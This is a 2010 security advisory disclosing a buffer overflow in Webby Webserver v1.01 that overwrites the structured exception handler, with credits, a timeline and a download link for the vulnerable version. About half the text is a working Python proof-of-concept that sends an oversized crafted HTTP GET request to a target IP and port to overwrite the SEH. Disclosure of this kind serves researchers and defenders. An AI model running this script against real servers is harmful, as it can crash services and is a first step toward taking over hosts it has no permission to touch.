--------------------------------------------- Webby Webserver v1.01 - Buffer overflow vulnerability with overwritten structured exception handler (SEH) Date: 25.05.2010 --------------------------------------------- - Description Webby is a small webserver for the windows operating system. - buffer overflow vulnerability The vulnerability can be triggered by sending a specially crafted HTTP GET request. Payload of the attached POC overwrites the SEH with NOPs. - Solution No known solution available. No contact details of the author found. - Credits The vulnerability was discovered by Michael Messner from Integralis michael#dot#messner#at#integralis#dot#com - Timeline 25.05.2010 - Vulnerability discovered - Reference Download vulnerable software http://www.shareware.de/webby-webserver/ - POC #!/usr/bin/python import socket import sys import os.path import time if len(sys.argv) < 2: print "Usage: webby.py <IP> <port>" sys.exit(0) ips = sys.argv[1] port = int(sys.argv[2]) string = "A"*790 string += "\x90"*4 string += "\x42"*105 method = "GET" print "starting POC for:", ips print "" s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: connect=s.connect((ips, port)) except: print "no connection possible" sys.exit(1) payload = method + ' http://'+ ips + '/' + string + ' HTTP/1.0\x0d\x0a\x0d\x0a' print "\r\nsending payload" print "\n\rusing methode %s with buffersize of: %s" % (method,str(len(string))) print "..." print payload s.send(payload) print "finished with method %s and payload %s" % (method,payload) print "... check SEH"